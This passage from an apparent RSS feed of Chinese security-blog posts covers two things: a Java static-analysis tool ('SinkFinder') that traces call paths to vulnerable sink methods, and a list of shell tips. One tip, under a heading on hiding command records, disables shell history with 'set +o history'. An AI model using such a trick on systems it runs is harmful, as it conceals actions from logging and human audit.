src="https://wechat2rss.xlab.app/img-proxy/?k=d37fec8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMD25sWa9a9ReOwibKkod82xNlP0z92uJpAXmuub8GAWvhicArmX5mNVQAQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="font-size: 15px;"><p style="text-wrap: wrap;">录入有个点需要考虑，一个 jar 中嵌套多个 jar ，即 fatjar ，由于所有的 class 文件都要读入，所以需递归读。</p></div><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(101, 128, 175);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;"><p style="text-wrap: wrap;"><strong>3.2</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);"><p style="text-wrap: wrap;"><strong>查找</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(143, 182, 249) rgb(255, 255, 255) rgb(255, 255, 255) rgb(143, 182, 249);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="font-size: 15px;"><p style="margin-bottom: 6px;text-wrap: wrap;">基于第一步中读入的 ClassRepo ，第二步在 ClassRepo 中找到所有可能触达 Sink 点的路径。</p><p style="margin-bottom: 6px;text-wrap: wrap;">第一层遍历 ClassRepo 中的 classes 。为了减少不必要路径查找增加效率，通过配置加载的 class 黑白名单可限制查找范围（读入的时候也可通过 jar 、文件名来限制）。</p><p style="margin-bottom: 6px;text-wrap: wrap;">第二层遍历 ClassNode 中所有的方法调用指令节点。</p><p style="text-wrap: wrap;">这里遍历通过数据结构 WrapperNode 实现：</p></div><div style="line-height: 0;"><p style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100000750" data-ratio="0.3333333333333333" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=435aa589&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMDJhPj8iaX9L5CUZjFqBd3cFMNGbZNic1MhJicwQZuhfib2QwMqvv5V4FKIw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="font-size: 15px;"><p style="text-wrap: wrap;">由于递归查找下一层时需要当前方法调用节点的类节点及方法节点组成下一层查找的规则。所以 WrapperNode 中包括类节点、方法节点，以及方法调用指令节点。</p></div><div style="line-height: 0;"><p style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100000751" data-ratio="0.4740740740740741" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b7585f81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMD6ODRklQHn5br03wn3LMiaNkh0ib9rLvTHef4aoqyH1mCKcV2Jia3CicIAQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="font-size: 15px;"><p style="margin-bottom: 6px;text-wrap: wrap;">第二层遍历时，通过 sink 规则对应 MethodInsnNode 中 owner 、name、desc 进行匹配。</p><p style="margin-bottom: 6px;text-wrap: wrap;">如果匹配上，则将该节点的类名及方法名存入 ArrayList 中，并代入递归调用第一层的类节点循环。</p><p style="margin-bottom: 6px;text-wrap: wrap;">如果没有匹配上或者判断为<strong>自循环</strong>调用（防死锁），则跳过该方法调用节点，到下一个方法调用节点的循环中。</p><p style="margin-bottom: 6px;text-wrap: wrap;">结束递归两种方式：</p><ol class="list-paddingleft-1" style="padding-left: 40px;list-style-position: outside;"><li><p style="margin-bottom: 6px;">到达指定的最大递归层数；</p></li><li><p style="margin-bottom: 6px;">没有上层调用点。</p></li></ol><p style="text-wrap: wrap;">两层遍历简单示意图 😈</p></div><div style="line-height: 0;"><p style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100000752" data-ratio="0.562962962962963" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9a91cdff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMDib1mZ7icn17O76LwQ8uicN7Hs4A8N0saib7zNicGcqiauYkTIKVZtzNjeDnw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="font-size: 15px;"><p style="text-wrap: wrap;">具体代码实现：</p><p style="text-wrap: wrap;"><img class="rich_pages wxw-img" data-imgfileid="100000755" data-ratio="1.3351851851851853" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=45727920&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMDVaD7sdibPMF4ic7BtssJtIIraCrwFqzicrOExHReic2dQq5xA4oSwE4VDg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="font-size: 15px;"><p style="margin-bottom: 6px;text-wrap: wrap;">在实现过程的小坑点：</p><p style="margin-bottom: 6px;text-wrap: wrap;">在查找的过程中，因为 java 继承、接口实现等，项目中的方法调用可能不是直接调用，而是通过动态调用，如调用某个子类的方法，而该方法的实现在其父类中。</p><p style="margin-bottom: 6px;text-wrap: wrap;">这种方式需要在查找时考虑当前方法调用节点 MethodInsnNode 的 owner 是否为当前层 sink 的子类/接口类，如果是，则判断存在调用关系。</p><p style="text-wrap: wrap;">如下图， A 继承自 B ，C 中某个方法调用了 A 的 test 方法，此时若 sink 为 B 的 test 方法，应将 C.METHOD 记录下来，并进入下一层查找。</p><p style="text-wrap: wrap;"><img class="rich_pages wxw-img" data-imgfileid="100000756" data-ratio="1.0779467680608366" data-w="526" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0f2daa6f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMDRkOXzzUZoMqneQPG4mrn8Tzr7Adh8DEmnl8PyNGEqgvOpnI241CY7g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="font-size: 15px;"><p style="text-wrap: wrap;">接口类亦是如此，只是反过来，若 A 实现 B 接口，C 中某方法调用 B.test ，此时若 Sink 点为 A.test ，同样应将 C.METHOD 记录下来，进入下一层。</p></div><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(101, 128, 175);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;"><p style="text-wrap: wrap;"><strong>04</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);"><p style="text-wrap: wrap;"><strong>第2版优化</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(143, 182, 249) rgb(255, 255, 255) rgb(255, 255, 255) rgb(143, 182, 249);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="font-size: 15px;"><p style="text-wrap: wrap;">这种方法实现的 SinkFinder 有天然劣势即不确定参数是否由上层传递而来，仅判断调用路径。第二版支持了通过正向数据流污染与 H<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">ook 验证，</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">来保证参数</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">触及到的路径为最终漏洞路径，但</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">有利也有弊，sink</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">链路确定性大幅提升的同时牺牲了效率</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">，逐步偏向于 </span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">SDL 流程化的非实战场</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">景。</span></p><p style="text-wrap: wrap;">目前分享第一版，回复“sinkfinder”即可获取，喜欢的话点个赞，谢谢～🌸</p></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5d31f504&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMDSfTsDWqPnh9I3LuKdICByQvKApIVTWKCeibX95jJwA3YicGc252KTStA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=fc4eb7b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMDgniaaNzSlzI5FZEFNcb6sGRTHksKUklIQfXasjc4dnPD9QbXiccjfwpg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=314db156&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMDXKSRvFP2xOR850iaE9SFtib6ibtKgXumNickibDibZdaNARC6QcH0ZAhn1kA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a38c6f4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMDEiaukSCyMx3xvNVYaToVPHoMa7BGSicvc81rViaUEbsbFr0y2duSfjcyQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e741073a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMD25sWa9a9ReOwibKkod82xNlP0z92uJpAXmuub8GAWvhicArmX5mNVQAQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=97e12381&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMDJhPj8iaX9L5CUZjFqBd3cFMNGbZNic1MhJicwQZuhfib2QwMqvv5V4FKIw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4701c312&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMD6ODRklQHn5br03wn3LMiaNkh0ib9rLvTHef4aoqyH1mCKcV2Jia3CicIAQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=169a8495&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMDib1mZ7icn17O76LwQ8uicN7Hs4A8N0saib7zNicGcqiauYkTIKVZtzNjeDnw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=67ca04b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMDVaD7sdibPMF4ic7BtssJtIIraCrwFqzicrOExHReic2dQq5xA4oSwE4VDg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ae8d7b1a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMDRkOXzzUZoMqneQPG4mrn8Tzr7Adh8DEmnl8PyNGEqgvOpnI241CY7g%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484406">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d00c9286&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484406%26idx%3D1%26sn%3D4ebabbc7065f50f5a101437e02b5f55d">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 24 Jun 2024 00:25:00 +0800</pubDate>
    </item>
    <item>
      <title>对抗小技巧: 一些实用的运维命令</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484367&amp;idx=1&amp;sn=170df37e51e6619b3d25e4fc5b598337</link>
      <description>运维小技巧</description>
      <content:encoded><![CDATA[<p>
原创 <span>Nobody</span> <span>2024-06-22 15:26</span> <span style="display: inline-block;">北京</span>
</p>

<p>运维小技巧</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d476f69a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWgLZKLUt1QXcxGw3rVl8LfRBYxZOwMGKIk5Xnc21LwOiaGphMYcmiaemnPkVibV8kxj0ZQMJaDYibPaAA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">本来只是打算发几条实用命令，字数太少了干脆从笔记里面随便再捞几条放进来凑数2333</p><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">命令补全</h3><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">iterm2 </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> zsh </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> autosuggestions</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">多终端历史命令同步</h3><p style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">指定zsh写入的历史命令的路径，配合autosuggestions实用，对设备多的人来说非常实用</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 153, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">#历史命令的</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">HISTFILE</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;$HOME/Library/Mobile Documents/com~apple~CloudDocs/zsh/.zsh_history&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(153, 153, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">#记录历史命令条数</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">HISTSIZE</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">100000</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">SAVEHIST</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">100000</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">setopt appendhistory</span></p></span></span></p></li></ol></pre><div style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">同样的 <p style="background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">$HOME</span><span style="background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/.</span><span style="background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">ssh</span><span style="background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span></p>， <p style="background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">$HOME</span><span style="background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/.</span><span style="background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">kube</span><span style="background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span></p>一类的文件夹也可以配置自动同步</div><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">隐藏命令记录</h3><p style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">入门</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">set</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">o history</span></p></span></span></p></li></ol></pre><p style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">进阶</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 